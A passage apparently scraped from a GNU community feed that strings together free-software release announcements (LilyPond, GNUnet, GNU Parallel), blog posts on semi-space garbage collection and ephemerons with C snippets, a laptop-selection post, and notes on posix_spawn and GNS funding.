GNU Guix is a transactional package manager andan advanced distribution of the GNU system that respects userfreedom.Guix can be used on top of any system running the Hurd or the Linuxkernel, or it can be used as a standalone operating system distributionfor i686, x86\_64, ARMv7, AArch64, and POWER9 machines.
In addition to standard package management features, Guix supportstransactional upgrades and roll-backs, unprivileged package management,per-user profiles, and garbage collection. When used as a standaloneGNU/Linux distribution, Guix offers a declarative, stateless approach tooperating system configuration management. Guix is highly customizableand hackable through Guileprogramming interfaces and extensions to theScheme language.
We are proud to announce the release of GNU LilyPond 2.24.0. LilyPond is a music engraving program devoted to producing the highest-quality sheet music possible. It brings the aesthetics of traditionally engraved music to computer printouts.
This version includes improvements and fixes since the branching of the previous stable release in October 2020. A list of added features and other user-visible changes can be found at https://lilypond.org/doc/v2.24/Documentation/changes/ This release switches to Guile 2.2 and features a completely rewritten infrastructure for creating the official packages, finally allowing us to offer 64-bit binaries for macOS and Windows.
Main Developers: Jean Abou Samra, Colin Campbell, Dan Eble, Jonas Hahnfeld, Phil Holmes, David Kastrup, Werner Lemberg, Han-Wen Nienhuys, Francisco Vila
Core Contributors: Erlend E. Aasland, Kevin Barry, Martín Rincón Botero, Tim Burgess, Thibaut Cuvelier, Jefferson Felix, David Stephen Grant, Jordan Henderson, Masamichi Hosoda, Nihal Jere, Martin Joerg, Michael Käppler, Doug Kearns, Mark Knoop, Thomas Morley, Lukas-Fabian Moser, Martin Neubauer, Knut Petersen, Valentin Petzel, Pete Siddall, Alen Šiljak, Samuel Tam, Timofey, Nathan Whetsell
Font Contributors: Johannes Feulner, David Stephen Grant, Owen Lamb
Documentation Writers: Michael Käppler, Daniel Tobias Johansen Langhoff, Thomas Morley, John Wheeler
Translators: Federico Bruni, Walter Garcia-Fontes, Dénes Harmath, Masamichi Hosoda, Guyutongxue, Chengrui Li, Jean-Charles Malahieude, Benkő Pál
Last time, we had a working solution for ephemerons, but it involvedrecursively visiting any pending ephemerons from within the copyroutine—the bit of a semi-space collector that is called whentraversing the object graph and we see an object that we hadn't seenyet. This recursive visit could itself recurse, and so we couldoverflow the control stack.
The solution, of course, is "don't do that": instead of visitingrecursively, enqueue the ephemeron for visiting later. Iterate, don'trecurse. But here we run into a funny problem: how do we add anephemeron to a queue or worklist? It's such a pedestrian question("just... enqueue it?") but I think it illustrates some of theparticular concerns of garbage collection hacking.
speak, memory
The issue is that we are in the land of "can't use my tools because Ibroke my tools with my tools". You can't make a standard List<T>because you can't allocate list nodes inside the tracing routine: if youhad memory in which you could allocate, you wouldn't be calling thegarbage collector.
If the collector needs a data structure whose size doesn't depend on theconnectivity of the object graph, you can pre-allocate it in a reservedpart of the heap. This adds memory overhead, of course; for a 1000 MBheap, say, you used to be able to make graphs 500 MB in size (for asemi-space collector), but now you can only do 475 MB because you haveto reserve 50 MB (say) for your data structures. Another way to look atit is, if you have a 400 MB live set and then you allocate 2GB ofgarbage, if your heap limit is 500 MB you will collect 20 times, but ifit's 475 MB you'll collect 26 times, which is more expensive. This ispart of why GC algorithms are so primitive; implementors have tobe stingy that we don't get to have nice things / data structures.
However in the case of ephemerons, we will potentially need one worklistentry per ephemeron in the object graph. There is no optimal fixed sizefor a worklist of ephemerons. Most object graphs will have no or fewephemerons. Some, though, will have practically the whole heap.
For data structure needs like this, the standard solution is to reservethe needed space for a GC-managed data structure in the object itself. Forexample, for concurrent copying collectors, the GC might reserve a wordin the object for a forwarding pointer, instead of just clobbering thefirst word. If you needed a GC-managed binary tree for a specific kindof object, you'd reserve two words. Again there are strong pressures tominimize this overhead, but in the case of ephemerons it seems sensibleto make them pay their way on a per-ephemeron basis.
so let's retake the thing
So sometimes we might need to put an ephemeron in a worklist. Let's adda member to the ephemeron structure:
Incidentally this also solves the problem of how to represent thestruct gc\_pending\_ephemeron\_table; just reserve 0.5% of the heap or soas a bucket array for a buckets-and-chains hash table, and use thegc\_link as the intrachain links.
In a collection, the ephemeron is in the pending ephemeron table: gc\_link is part of a hash table.
In a collection, the ephemeron's key has been visited, and the ephemeron is on the to-visit worklist; gc\_link is part of the resolved singly-linked list.
Instead of phrasing the interface to ephemerons in terms of visitingedges in the graph, the verb is to resolve ephemerons. Resolving anephemeron adds it to a worklist instead of immediately visiting anyedge.
The result is... not so bad? It makes sense to make ephemerons paytheir own way in terms of memory, having an internal field managed bythe GC. In fact I must confess that in the implementation I have beenwoodshedding, I actually have three of these damn things; perhaps moreon that in some other post. But the perturbation to the core algorithmis perhaps less than the original code. There are still someoptimizations to make, notably postponing hash-table lookups until thewhole strongly-reachable graph is discovered; but again, another day.
And with that, thanks for coming along with me for my journeys intoephemeron-space.
I would like to specifically thank Erik Corry and Steve Blackburn fortheir advice over the years, and patience with my ignorance; I can onlyimagine that it's quite amusing when you have experience ina domain to see someone new and eager come in and make many of theclassic mistakes. They have both had a kind of generous parsimony inthe sense of allowing me to make the necessary gaffes but also providinginsight where it can be helpful.
I'm thinking of many occasions but I especially appreciate the advice tostart with a semi-space collector when trying new things, be itbenchmarks or test cases or API design or new functionality, as it's asimple algorithm, hard to get wrong on the implementation side, andperfect for bringing out any bugs in other parts of the system. In thiscase the difference between fromspace and tospace pointers has amaterial difference to how you structure the ephemeron implementation;it's not something you can do just in a trace\_heap\_object function, asyou don't have the old pointers there, and the pending ephemeron tableis indexed by old object addresses.
Well, until some other time, gentle hackfolk, do accept my sincerest wastedisposal greetings. As always, yours in garbage, etc.,
Good day, hackfolk. Today's note tries to extend our semi-spacecollector with support for ephemerons. Spoiler alert: we fail in asubtle and interesting way. See if you can spot it before the end :)
Recall that, as we concluded in an earlierarticle,a memory manager needs to incorporate ephemerons as a core part of thetracing algorithm. Ephemerons are not macro-expressible in terms ofobject trace functions.
Instead, to support ephemerons we need to augment our core traceroutine. When we see an ephemeron E, we need to check if the key Kis already visited (and therefore live); if so, we trace the value Vdirectly, and we're done. Otherwise, we add E to a global table ofpending ephemerons T, indexed under K. Finally whenever we trace anew object O, ephemerons included, we look up O in T, to trace anypending ephemerons for O.
So, taking our semi-spacecollectoras a workbench, let's start by defining what an ephemeron is.
First we need to allow the GC to know when an object is an ephemeron ornot. This is somewhat annoying, as you would like to make this concernentirely the responsibility of the user, and let the GC be indifferentto the kinds of objects it's dealing with, but it seems to beunavoidable.
The heap will need some kind of data structure to track pendingephemerons:
Now let's define a function to handle ephemeron shenanigans:
void visit\_ephemerons(struct gc\_heap *heap, struct gc\_obj *obj) { // We are visiting OBJ for the first time. // OBJ is the old address, but it is already forwarded. ASSERT(is\_forwarded(obj)); // First, visit any pending ephemeron for OBJ. struct gc\_ephemeron *ephemeron; while ((ephemeron = pop\_pending\_ephemeron(heap->pending\_ephemerons, obj))) { ASSERT(obj == ephemeron->key); ephemeron->key = forwarded(obj); visit\_field(&ephemeron->value, heap); } // Then if OBJ is itself an ephemeron, trace it. if ((ephemeron = as\_ephemeron(forwarded(obj))) && !ephemeron->dead) { if (is\_forwarded(ephemeron->key)) { ephemeron->key = forwarded(ephemeron->key); visit\_field(&ephemeron->value, heap); } else { add\_pending\_ephemeron(heap->pending\_ephemerons, ephemeron->key, ephemeron); } }}struct gc\_obj* copy(struct gc\_heap *heap, struct gc\_obj *obj) { ... visit\_ephemerons(heap, obj); // * return new\_obj;}
We wire it into the copy routine, as that's the bit of the collectorthat is called only once per object and which has access to the oldaddress. We actually can't process ephemerons during the Cheney fieldscan, as there we don't have old object addresses.
Then at the end of collection, we kill any ephemeron whose key hasn'tbeen traced:
First observation: Gosh, this is quite a mess. It's more code than thecore collector, and it's gnarly. There's a hash table, for goodness'sake. Goodbye, elegant algorithm!
Second observation: Well, at least it works.
Third observation: Oh. It works in the same way as tracing in thecopyroutineworks: well enough for shallow graphs, but catastrophically forarbitrary graphs. Calling visit\_field from within copy introducesunbounded recursion, as tracing one value can cause more ephemerons toresolve, ad infinitum.
Well. We seem to have reached a dead-end, for now. Will our hero wrestvictory from the jaws of defeat? Tune in next time for find out: samegarbage time (unpredictable), same garbage channel (my wordhoard). Happy hacking!
Sometimes when you see an elegant algorithm, you think "looks great, Ijust need it to also do X". Perhaps you are able to build X directlyout of what the algorithm gives you; fantastic. Or, perhaps you canalter the algorithm a bit, and it works just as well while also doing X.Sometimes, though, you alter the algorithm and things go pear-shaped.
To recall, we had this visit\_field function that takes a edge in theobject graph, as the address of a field in memory containing a struct gc\_obj*. If the edge points to an object that was already copied,visit\_field updates it to the forwarded address. Otherwise it copies the object,thus computing the new address, and then updates the field.
Although a newly copied object is in tospace, all of its fieldsstill point to fromspace. The Cheney scan algorithm later visits thefields in the newly copied object with visit\_field, which bothdiscovers new objects and updates the fields to point to tospace.
One disadvantage of this approach is that the order in which the objectsare copied is a bit random. Given a hierarchical memory system, it'sbetter if objects that are accessed together in time are close togetherin space. This is an impossible task without instrumenting the actualdata access in a program and then assuming future accesses will be like thepast. Instead, the generally-accepted solution is to ensure thatobjects that are allocated close together in time be adjacent inspace. The bump-pointer allocator in a semi-space collector providesthis property, but the evacuation algorithm above does not: it wouldneed to preserve allocation order, but instead its order is driven bygraph connectivity.
I say that the copying algorithm above is random but really it favors abreadth-first traversal; if you have a binary tree, first you will copythe left and the right nodes of the root, then the left and rightchildren of the left, then the left and right children of the right,then grandchildren, and so on. Maybe it would be better to keep parentand child nodes together? After all they are probably allocated thatway.
The thing is, this works! It might even have better performance forsome workloads, depending on access patterns. And yet, nobody doesthis. Why?
Well, consider a linked list with a million nodes; you'll end up with amillion recursive calls to copy, as visiting each link eagerlytraverses the next. While I am all about unboundedrecursion, aninfinitely extensible stack is something that a language runtime has toprovide to a user, and here we're deep intoimplementing-the-language-runtime territory. At some point a user'sdeep heap graph is going to cause a gnarly system failure via stackoverflow.
Ultimately stack space needed by a GC algorithm counts towards collectormemory overhead. In the case of a semi-space collector you already needtwice the amount memory as your live object graph, and if you recursedinstead of iterated this might balloon to 3x or more, depending on theheap graph shape.
Hey that's my note! All this has been context for some future article,so this will be on the final exam. Until then!
Good day, hackfolk. Today's article is about semi-space collectors.Many of you know what these are, but perhaps not so many haveseen an annotated implementation, so let's do that.
Just to recap, the big picture here is that a semi-space collectordivides a chunk of memory into two equal halves or spaces, called thefromspace and the tospace. Allocation proceeds linearly acrosstospace, from one end to the other. When the tospace is full, we flipthe spaces: the tospace becomes the fromspace, and the fromspace becomesthe tospace. The collector copies out all live data from thefromspace to the tospace (hence the names), starting from some set ofroot objects. Once the copy is done, allocation then proceeds in thenew tospace.
In practice when you build a GC, it's parameterized in a few ways, oneof them being how the user of the GC will represent objects. Let's takeas an example a simple tag-in-the-first-word scheme:
struct gc\_obj { union { uintptr\_t tag; struct gc\_obj *forwarded; // for GC }; uintptr\_t payload[0];};
We'll divide all the code in the system into GC code and user code.Users of the GC define how objects are represented. When user codewants to know what the type of an object is, it looks at the first wordto check the tag. But, you see that GC has a say in what therepresentation of user objects needs to be: there's a forwarded membertoo.
forwarded is a forwarding pointer. When GC copies an object fromfromspace to tospace, it clobbers the first word of the old copy infromspace, writing the new address there. It's like when you move to anew flat and have your mail forwarded from your old to your new address.
There is a contract between the GC and the user in which the user agreesto always set the NOT\_FORWARDED\_BIT in the first word of its objects.That bit is a way for the GC to check if an object is forwarded or not:a forwarded pointer will never have its low bit set, becauseallocations are aligned on some power-of-two boundary, for example 8bytes.
The contract between GC and user is in practice one of the mostimportant details of a memory management system. As a GC author, youwant to expose the absolute minimum interface, to preserve your freedomto change implementations. The GC-user interface does need to have someminimum surface area, though, for example to enable inlining of the hotpath for object allocation. Also, as we see here, there are someoperations needed by the GC which are usually implemented by the user:computing the size of an object, tracing its references, and tracing theroot references. If this aspect of GC design interests you, I wouldstrongly recommend having a look at MMTk, which hasbeen fruitfully exploring this space over the last two decades.
Now we get to the implementation of the GC. With the exception of howto inline the allocation hot-path, none of this needs to be exposed tothe user. We start with a basic definition of what a semi-space heapis, above, and below we will implement collection and allocation.
All allocators have some minimum alignment, which is usually a power oftwo at least as large as the target language's ABI alignment. Usuallyit's a word or two; here we just use one word (4 or 8 bytes).
Making a heap is just requesting a bunch of memory and dividing it intwo. How you get that space differs depending on your platform; here weuse mmap and also the platform malloc for the struct gc\_heapmetadata. Of course you will want to check that both the mmap and themalloc succeed :)
Here we have the actual semi-space collection algorithm! It's a tinybit of code about which people have written reams of prose, and to befair there are many things to say—too many for here.
Personally I think the most interesting aspect of a semi-space collectoris the so-called "Cheney scanning algorithm": when we see an objectthat's not yet traced, in visit\_field, we copy() it to tospace, butdon't actually look at its fields. Instead collect keeps track ofthe partition of tospace that contains copied objects which have notyet been traced, which are those in [scan, heap->hp). The Cheneyscan sweeps through this space, advancing scan, possibly copying moreobjects and extending heap->hp, until such a time as the needs-tracingpartition is empty. It's quite a neat solution that requires noadditional memory.
Finally, we have the allocator: the reason we have the GC in the firstplace. The fast path just returns heap->hp, and arranges for the nextallocation to return heap->hp + size. The slow path calls collect()and then retries.
Welp, that's a semi-space collector. Until next time for some notes onephemerons again. Until then, have a garbage holiday season!
I’m about to migrate to a new laptop, having done a brief pre-purchase review of options on Fosstodon and reaching a decision to buy the NovaCustom NV41. Given the rapid launch and decline of Mastodon instances, I thought I’d better summarize my process and conclusion on my self-hosted blog until the fediverse self-hosting situation improves.
Since 2010 my main portable computing device has been the Lenovo X201 that replace the Dell Precision M65 that I bought in 2006. I have been incredibly happy with the X201, even to the point that in 2015 when I wanted to find a replacement, I couldn’t settle on a decision and eventually realized I couldn’t articulate what was wrong with the X201 and decided to just buy another X201 second-hand for my second office. There is still no deal-breaker with the X201, and I’m doing most of my computing on it including writing this post. However, today I can better articulate what is lacking with the X201 that I desire, and the state of the available options on the market has improved since my last attempt in 2015.
Briefly, my desired properties are:
Portable – weight under 1.5kg
Screen size 9-14″
ISO keyboard layout, preferably Swedish layout
Mouse trackpad, WiFi, USB and external screen connector
Decent market availability: I should be able to purchase it from Sweden and have consumer protection, warranty, and some hope of getting service parts for the device
Manufactured and sold by a vendor that is supportive of free software
Preferably RJ45 connector (for data center visits)
My workload for the machine is Emacs, Firefox, Nextcloud client, GNOME, Evolution (mail & calendar), LibreOffice Calc/Writer, compiling software and some podman/qemu for testing. I have used Debian as the main operating system for the entire life of this laptop, but have experimented with PureOS recently. My current X201 is useful enough for this, although a faster machine wouldn’t hurt.
Based on my experience in 2015 that led me to make no decision, I changed perspective. This is a judgement call and I will not be able to fulfil all criteria. I will have to decide on a balance and the final choice will include elements that I really dislike, but still it will hopefully be better than nothing. The conflict for me mainly center around these parts:
Non-free BIOS. This is software that runs on the main CPU and has full control of everything. I want this to run free software as much as possible. Coreboot is the main project in this area, although I prefer the more freedom-oriented Libreboot.
Proprietary and software-upgradeable parts of the main CPU. This includes CPU microcode that is not distributed as free software. The Intel Management Engine (AMD and other CPU vendors has similar technology) falls into this category as well, and is problematic because it is an entire non-free operating system running within the CPU, with many security and freedom problems. This aspect is explored in the Libreboot FAQ further. Even if these parts can be disabled (Intel ME) or not utilized (CPU microcode), I believe the mere presence of these components in the design of the CPU is a problem, and I would prefer a CPU without these properties.
Non-free software in other microprocessors in the laptop. Ultimately, I tend agree with the FSF’s “secondary processor” argument but when it is possible to chose between a secondary processor that runs free software and one that runs proprietary software, I would prefer as many secondary processors as possible to run free software. The libreboot binary blob reduction policy describes a move towards stronger requirements.
Non-free firmware that has to be loaded during runtime into CPU or secondary processors. Using Linux-libre solves this but can cause some hardware to be unusable.
WiFi, BlueTooth and physical network interface (NIC/RJ45). This is the most notable example of secondary processor problem with running non-free software and requiring non-free firmware. Sometimes these may even require non-free drivers, although in recent years this has usually been reduced into requiring non-free firmware.
The simplest choice for me would be to buy one of the FSF RYF certified laptops, and I actually already have a X200 with libreboot that I bought earlier for comparison. The reason the X200 didn’t work out as a replacement for me was the lack of a mouse trackpad, concerns about non-free EC firmware, Intel ME uncertainty and the non-free CPU microcode that I already have with my X201, but primarily that for some reason that I can’t fully articulate it feels weird to use a laptop manufactured by Lenovo but modified by third parties to be useful. I believe in market forces to pressure manufacturers into Doing The Right Thing, and feel that there is no incentive for Lenovo to use libreboot in the future when this market niche is already fulfilled by re-sellers modifying Lenovo laptops. So I’d be happier buying a laptop from someone who is natively supportive of they way I’m computing. I’m sure this aspect could be discussed a lot more, and maybe I’ll come back to do that, and could even reconsider my thinking (the right-to-repair argument may be compelling). I will definitely continue to monitor the list of RYF-certified laptops to see if future entries are more suitable options for me.
Eventually I decided to buy the NovaComputing NV41 laptop, and it arrived quickly and I’m in the process of setting it up. I hope to write a separate blog about it next.
FSF tech team member Michael McMahon discusses the team's year-round jobs and responsibilities, and how it is all done in freedom and to support and strengthen the freedom of the free software community.
2022 Fall "Free Software Foundation Bulletin" is here! Read about how to protect your privacy, a reflection on this year's GNU Hackers' Meeting, what's new in Trisquel 11, and more!
We are pleased to announce the release of GNUnet 0.19.0. GNUnet is an alternative network stack for building secure, decentralized and privacy-preserving distributed applications. Our goal is to replace the old insecure Internet protocol stack. Starting from an application for secure publication of files, it has grown to include all kinds of basic protocol components and applications towards the creation of a GNU internet.
This is a new major release. It breaks protocol compatibility with the 0.18.x versions. Please be aware that Git master is thus henceforth (and has been for a while) INCOMPATIBLE with the 0.18.x GNUnet network, and interactions between old and new peers will result in issues. 0.18.x peers will be able to communicate with Git master or 0.19.x peers, but some services will not be compatible. In terms of usability, users should be aware that there are still a number of known open issues in particular with respect to ease of use, but also some critical privacy issues especially for mobile users. Also, the nascent network is tiny and thus unlikely to provide good anonymity or extensive amounts of interesting information. As a result, the 0.19.0 release is still only suitable for early adopters with some reasonable pain tolerance .
Note that due to mirror synchronization, not all links might be functional early after the release. For direct access try http://ftp.gnu.org/gnu/gnunet/
Noteworthy changes in 0.19.0 (since 0.18.2)
UTIL : Moved GNUNET\_BIO\_MetaData handling into FS .
BUILD : platform.h removed as it should not be used by third parties anyway. gnunet\_config.h is renamed to gnunet\_private\_config.h and the new replacement gnunet\_config.h is added to provide build information for components linking against/using GNUnet.
UTIL : Components part of gnunet\_util\_lib.h must now be included through gnunet\_util\_lib.h and through that header only .
NAMESTORE : gnunet-namestore can now parse a list of records into zones from stdin in new recordline format.
GTK : Added an identity selector to the search to accomodate for previously deprecated "default" identities for subsystems.
Other: Postgres plugins implementations modernized and previous regressions fixed.
There are known major design issues in the TRANSPORT, ATS and CORE subsystems which will need to be addressed in the future to achieve acceptable usability, performance and security.
There are known moderate implementation limitations in CADET that negatively impact performance.
There are known moderate design issues in FS that also impact usability and performance.
There are minor implementation limitations in SET that create unnecessary attack surface for availability.
The RPS subsystem remains experimental.
Some high-level tests in the test-suite fail non-deterministically due to the low-level TRANSPORT issues.
In addition to this list, you may also want to consult our bug tracker at bugs.gnunet.org which lists about 190 more specific issues.
Thanks
This release was the work of many people. The following people contributed code and were thus easily identified:Christian Grothoff, Tristan Schwieren, madmurphy, t3sserakt, TheJackiMonster and Martin Schanzenbach.
Good evening :) A quick note, tonight: I've long thought that
ephemerons
are primitive and can't be implemented with mark functions and/or
finalizers, but today I think I have a counterexample.
For context, one of the goals of the GC implementation I have been
working on on is to replace
Guile's current use of the Boehm-Demers-Weiser (BDW) conservative
collector. Of course, changing a
garbage collector for a production language runtime is risky, and for Guile one of the mitigation
strategies for this work is that the new collector is behind an abstract API
whose implementation can be chosen at compile-time, without requiring
changes to user code. That way we can first switch to
BDW-implementing-the-new-GC-API, then switch the implementation behind
that API to something else.
Abstracting GC is a tricky problem to get right, and I thank the MMTk
project for showing that this is possible -- you
have user-facing APIs that need to be implemented by concrete collectors,
but also extension points so that the user can provide some compile-time
configuration too, for example to provide field-tracing visitors that take into account how a user wants to lay out objects.
Anyway. As we discussed last time, ephemerons are usually have explicit
support from the GC, so we need an ephemeron abstraction as part of the
abstract GC API. The question is, can BDW-GC provide an implementation of
this API?
I think the answer is "yes, but it's very gnarly and will kill
performance so bad that you won't want to do it."
the contenders
Consider that the primitives that you get with BDW-GC are custom mark
functions, run on objects when they are found to be live by the mark
workers; disappearing links, a kind of weak reference; and finalizers, which receive the object being finalized, can allocate, and indeed can resurrect the object.
BDW-GC's finalizers are a powerful
primitive, but not one that is useful for implementing the "conjunction"
aspect of ephemerons, as they cannot constrain the marker's idea of
graph connectivity: a finalizer can only prolong the life of an object subgraph,
not cut it short. So let's put finalizers aside.
Weak references have a tantalizingly close kind of conjunction property:
if the weak reference itself is alive, and the referent is also
otherwise reachable, then the weak reference can be dereferenced.
However this primitive only involves the two objects E and K; there's no
way to then condition traceability of a third object V to E and K.
We are left with mark functions. These are an extraordinarily powerful
interface in BDW-GC, but somewhat expensive also: not inlined, and going
against the grain of what BDW-GC is really about (heaps in which the
majority of all references are conservative). But, OK. They way they
work is, your program allocates a number of GC "kinds", and associates
mark functions with those kinds. Then when you allocate objects, you
use those kinds. BDW-GC will call your mark functions when tracing an object of those kinds.
Let's assume firstly that you have a kind for ephemerons; then when you
go to mark an ephemeron E, you mark the value V only if the key K has
been marked. Problem solved, right? Only halfway: you also have to
handle the case in which E is marked first, then K. So you publish E to
a global hash table, and... well. You would mark V when you mark a K for
which there is a published E. But, for that you need a hook into
marking V, and V can be any object...
So now we assume additionally that all objects are allocated with
user-provided custom mark functions, and that all mark functions check
if the marked object is in the published table of pending ephemerons,
and if so marks values. This is essentially what a proper ephemeron
implementation would do, though there are some optimizations one can do
to avoid checking the table for each object before the mark stack runs
empty for the first time. In this case, yes you can do it!
Additionally if you register disappearing links for the K field in each
E, you can know if an ephemeron E was marked dead in a previous
collection. Add a pre-mark hook (something BDW-GC provides) to clear
the pending ephemeron table, and you are in business.
yes, but no
So, it is possible to implement ephemerons with just custom mark
functions. I wouldn't want to do it, though: missing the
mostly-avoid-pending-ephemeron-check optimization would be devastating,
and really what you want is support in the GC implementation. I think
that for the BDW-GC implementation in
whippet I'll just implement
weak-key associations, in which the value is always marked strongly
unless the key was dead on a previous collection, using disappearing
links on the key field. That way a (possibly indirect) reference from a
value V to a key K can indeed keep K alive, but oh well: it's a
conservative approximation of what should happen, and not worse than
what Guile has currently.
Installing the latest development version of Hyperbole
The latest development version of Hyperbole can be installed directly from the GNU-devel ELPA Packages using built-in Emacs Package Manager.
The Elpa GNU-devel package repository provides a development version of Hyperbole. It pulls from the latest Hyperbole development branch to get the tip version and makes an installable package. This is done on a daily basis. Installing this does not require any new package manager software. Since Hyperbole is a mature package, this version is usually fine to use and is updated on a day-to-day basis. But new features are tested on this branch and once in awhile it may break for a short time before a fix is pushed.
To download and install this version of the Hyperbole, you should add the following lines to your personal Emacs initialization file, typically "~/.emacs". (For further details, see info page "(emacs)Init File", or Init-File).
(when (< emacs-major-version 27)
(error "Hyperbole requires Emacs 27 or above; you are running version %d" emacs-major-version))
Now save the file and restart Emacs. Hyperbole will then be downloaded and compiled for use with your version of Emacs; give it a minute or two. You may see a bunch of compilation warnings but these can be safely ignored.
GNU Parallel 20221122 ('Херсо́н') has been released. It is available for download at: lbry://@GnuParallel:4
Quote of the month:
[GNU Parallel] is the most amazing tool ever invented for bioinformatics!
-- Istvan Albert https://www.ialbert.me/
New in this release:
Support for IPv6 adresses and _ in hostnames in --sshlogin.
Use --total-jobs for --eta/--bar if generating jobs is slow.
A lot of bug fixed in --latest-line.
Better support for MSYS2.
Better Text::CSV error messages.
--bar supports UTF8.
GNU Parallel is now on Mastodon: @GNU_Parallel@hostux.social
Bug fixes and man page updates.
GNU Parallel - For people who live life in the parallel lane.
If you like GNU Parallel record a video testimonial: Say who you are, what you use GNU Parallel for, how it helps you, and what you like most about it. Include a command that uses GNU Parallel if you feel like it.
About GNU Parallel
GNU Parallel is a shell tool for executing jobs in parallel using one or more computers. A job can be a single command or a small script that has to be run for each of the lines in the input. The typical input is a list of files, a list of hosts, a list of users, a list of URLs, or a list of tables. A job can also be a command that reads from a pipe. GNU Parallel can then split the input and pipe it into commands in parallel.
If you use xargs and tee today you will find GNU Parallel very easy to use as GNU Parallel is written to have the same options as xargs. If you write loops in shell, you will find GNU Parallel may be able to replace most of the loops and make them run faster by running several jobs in parallel. GNU Parallel can even replace nested loops.
GNU Parallel makes sure output from the commands is the same output as you would get had you run the commands sequentially. This makes it possible to use output from GNU Parallel as input for other programs.
For example you can run this to convert all jpeg files into png and gif files and have a progress bar:
Watch the intro video on http://www.youtube.com/playlist?list=PL284C9FF2488BC6D1
Walk through the tutorial (man parallel_tutorial). Your command line will love you for it.
When using programs that use GNU Parallel to process data for publication please cite:
O. Tange (2018): GNU Parallel 2018, March 2018, https://doi.org/10.5281/zenodo.1146014.
If you like GNU Parallel:
Give a demo at your local user group/team/colleagues
Post the intro videos on Reddit/Diaspora*/forums/blogs/ Identi.ca/Google+/Twitter/Facebook/Linkedin/mailing lists
Get the merchandise https://gnuparallel.threadless.com/designs/gnu-parallel
Request or write a review for your favourite blog or magazine
Request or build a package for your favourite distribution (if it is not already there)
Invite me for your next conference
If you use programs that use GNU Parallel for research:
Please cite GNU Parallel in you publications (use --citation)
If GNU Parallel saves you money:
(Have your company) donate to FSF https://my.fsf.org/donate/
About GNU SQL
GNU sql aims to give a simple, unified interface for accessing databases through all the different databases' command line clients. So far the focus has been on giving a common way to specify login information (protocol, username, password, hostname, and port number), size (database and table size), and running queries.
The database is addressed using a DBURL. If commands are left out you will get that database's interactive shell.
When using GNU SQL for a publication please cite:
O. Tange (2011): GNU SQL - A Command Line Tool for Accessing Different Databases Using DBURLs, ;login: The USENIX Magazine, April 2011:29-32.
About GNU Niceload
GNU niceload slows down a program when the computer load average (or other system activity) is above a certain limit. When the limit is reached the program will be suspended for some time. If the limit is a soft limit the program will be allowed to run for short amounts of time before being suspended again. If the limit is a hard limit the program will only be allowed to run when the system is below the limit.
I wrote a script generating an image gallery suitable to be included in web pages. Since it can be generally useful I cleaned it up and published it, of course as free software (https://www.gnu.org/philosophy/free-sw.html); you are welcome to download a copy of ‘make-gallery’ from . The software is released under the GNU General Public Licence (https://www.gnu.org/licenses/gpl-3.0.html) version 3 or later; the generated code is in the public domain. I hate the web I have never made a mystery of my personal dislike for the web with its gratuitous ever-growing complexity, inefficiency, lack of expressivity, hostility to the developer and to ... [Read more]
Spawning a new process has traditionally been coded by a fork() call, followed by an execv/execl/execlp/execvp call in the child process. This is often referred to as the fork + exec idiom.
In 90% of the cases, there is something better: the posix_spawn/posix_spawnp functions.
Why is that better?
First, it's faster. The glibc implementation of posix_spawn, on Linux, uses a specialized system call (clone3) with a custom child-process stack, that makes it outperform the fork + exec idiom already now. And another speedup of 30% is being considered, see https://lwn.net/Articles/908268/ .
Second, it's more portable. While most Unix-like operating systems nowadays have both fork and posix_spawn, there are platforms which don't have fork(), namely Windows (excluding Cygwin). Comes in Gnulib for portability: Gnulib provides a posix_spawn implementation not only for the Unix platforms which lack it (today, that's only HP-UX), but also for Windows. In fact, Gnulib's posix_spawn implementation is the world's first for Windows platforms; the mingw libraries don't have one.
Why only in 90% of the cases?
Typically, between the fork and exec part, the application code will set up or configure some things in the child process. Such as closing file descriptors (this is necessary when pipes are involved), changing the current directory, and things like that.
posix_spawn has a certain set of setup / configuration "actions" that are supported. Namely, searching for the program in $PATH, opening files, shuffling arounds or closing file descriptors, and setting the tty-related process group. If that's all that the application code needs, then posix_spawn fits the bill. That should be 90% of the cases in practice.
How to do the change?
Before you replace a bit of fork + exec code with posix_spawn, you need to understand the main difference: The setup / configuration "actions" are encoded as C system calls in the old approach. Whereas with posix_spawn they are specified declaratively, by constructing an "actions" object in memory.
When you have done this change, you would test it on a glibc system.
And finally, for portability, import the Gnulib modules corresponding to all the posix_spawn* functions that you need.
The Free Software Foundation (FSF) will host a conversation with
the Sourceware overseers, and the Software Freedom Conservancy on
the current Sourceware infrastructure and future plans.
NGI Zero Entrust: "GNS to DNS Migration and Zone Management"
We are happy to announce that we have successfully aquired funding for further
GNS development and polishing!
The GNU Name System specification is in its
final stages
.
Migration paths and large-scale testing as well as generating interest in running GNS zones and registrars is the next logical step.
Hence, this project aims to
Facilitate the management of GNS zones by administrators.
Provide users with means to resolve real-world names by (partially) mirroring the DNS root zone.
Ad 1.:
To ease adoption, a framework for GNS registrars will be developed for zone management.
The registrar framework will allow GNS zone administrators to provide
a web-interface for subdomain registration by other users.
The services may also be provided for a fee similar to how DNS domain registrars
operate to cover running costs.
The framework is envisioned to support integration of privacy-friendly payments with
GNU Taler
.
Ad 2.:
We are already hosting and shipping a zone for
gnunet.org
as part of our GNS implementation.
To demonstrate how existing DNS registrars could migrate zones from DNS to GNS
we plan to run multiple GNS zones ourselves which contain the zone information from real-world DNS top-level domains.
This will also show how GNS can be used to secure the existing DNS namespace from
censorship and outages when used in parallel.
A selection of existing top-level domains for which
open data exists
will be hosted and served through GNS in order to facilitate the daily use of the name system.
We are are planning to integrate at least three DNS zones and publish them
through GNS for users to resolve in a default GNUnet installation.
Watch this space and the mailing list for updates!
To fund further development of GNU Taler, Taler Systems SA is still looking for investors. Our chief moral officer has recorded a special business pitch for those that are interested.
Good day, hackfolk. Today we continue the series on garbage collection
with some notes on ephemerons and finalizers.
conjunctions and disjunctions
First described in a 1997 paper by Barry
Hayes, which
attributes the invention to George Bosworth, ephemerons are a kind of
weak key-value association.
Thinking about the problem abstractly, consider that the garbage
collector's job is to keep live objects and recycle memory for dead
objects, making that memory available for future allocations. Formally
speaking, we can say:
An object is live if it is in the root set
An object is live it is referenced by any live object.
This circular definition uses the word any, indicating a disjunction:
a single incoming reference from a live object is sufficient to mark a
referent object as live.
Ephemerons augment this definition with a conjunction:
An object V is live if, for an ephemeron E containing an
association betweeen objects K and V, both E and K are live.
This is a more annoying property for a garbage collector to track. If
you happen to mark K as live and then you mark E as live, then you
can just continue to trace V. But if you see E first and then you
mark K, you don't really have a direct edge to V. (Indeed this is
one of the main purposes for ephemerons: associating data with an
object, here K, without actually modifying that object.)
During a trace of the object graph, you can know if an object is
